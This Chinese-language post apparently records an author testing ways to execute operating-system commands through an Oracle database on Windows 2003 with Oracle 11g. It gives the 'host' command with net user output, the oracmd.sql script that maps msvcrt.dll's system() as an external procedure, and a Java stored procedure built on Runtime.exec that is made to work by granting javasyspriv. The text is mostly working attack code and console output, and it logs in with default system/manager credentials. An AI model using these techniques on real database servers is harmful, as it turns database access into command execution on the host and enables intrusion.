oracle执行cmd的实现方法

不过有一个简单的执行cmd命令方法：
SQL> host net user
User accounts for \PC-ATQHJ4UG1SDA
----------------------------------------------------------------------------
__vmware_user__ admin Administrator
ASPNET Guest IUSR_PC-ATQHJ4UG1SDA
IWAM_PC-ATQHJ4UG1SDA SUPPORT_388945a0
The command completed successfully.
unix或linux下用
! command
======================补充======================
网上的另两种方法：
１是利用msvcrt.dll
写一个c:orac.sql
内容：
Rem
Rem oracmd.sql
Rem
Rem Run system commands via Oracle database servers
Rem
Rem Bugs to david@ngssoftware.com
Rem
CREATE OR REPLACE LIBRARY exec_shell AS
'C:windowssystem32msvcrt.dll';
/
show errors
CREATE OR REPLACE PACKAGE oracmd IS
PROCEDURE exec (cmdstring IN CHAR);
end oracmd;
/
show errors
CREATE OR REPLACE PACKAGE BODY oracmd IS
PROCEDURE exec(cmdstring IN CHAR)
IS EXTERNAL
NAME "system" LIBRARY exec_shell
LANGUAGE C;
end oracmd;
/
show errors
然后C:>sqlplus /nolog
SQL*Plus: Release 8.1.7.0.0 - Production on Thu Jun 7 14:25:38 2001

SQL> connect system/manager@orcl (分别是用户名密码和sid)
Connected.
SQL> @c:orac.sql
Library created.
No errors.
Package created.
No errors.
Package body created.
No errors.
SQL>
SQL> exec oracmd.exec ('dir > c:oracle.txt');
结果在我本机出现
第 1 行出现错误:
ORA-28595: Extproc 代理: DLL 路径无效
ORA-06512: 在 "SYSTEM.ORACMD", line 2
ORA-06512: 在 line 1
没有成功。
第二种方法
c:1.sql
create or replace and compile
java souRCe named "util"
as
import java.io.*;
import java.lang.*;
public class util extends Object
{
public static int RunThis(String args)
{
Runtime rt = Runtime.getRuntime();
int RC = -1;
try
{
Process p = rt.exec(args);
int bufSize = 4096;
BufferedInputStream bis =new BufferedInputStream(p.getInputStream(), bufSize);
int len;
byte buffer[] = new byte[bufSize];
// Echo back what the program spit out
while ((len = bis.read(buffer, 0, bufSize)) != -1)
System.out.write(buffer, 0, len);
RC = p.waitFor();
}
catch (Exception e)
{
e.printStackTrace();
RC = -1;
}
finally
{
return RC;
}
}
}
c:2.sql
create or replace
function RUN_CMz(p_cmd in varchar2) return number
as
language java
name 'util.RunThis(java.lang.String) return integer';
c:3.sql
create or replace procedure RC(p_cmd in varChar)
as
x number;
begin
x := RUN_CMz(p_cmd);
end;
登陆上去后依旧是依次执行
SQL> @c:1.sql
/
@c:2.sql
/
@c:3.sql
/
variable x number;
set serveroutput on；
exec dbms_java.set_output(100000);
grant javasyspriv to system；
grant javauserpriv to system;（网上的方法没有这一行，我无法成功，加上去可以）
exec :x:=run_cmz('ipconfig'); 成功运行了命令
测试环境win2003+oracle11g
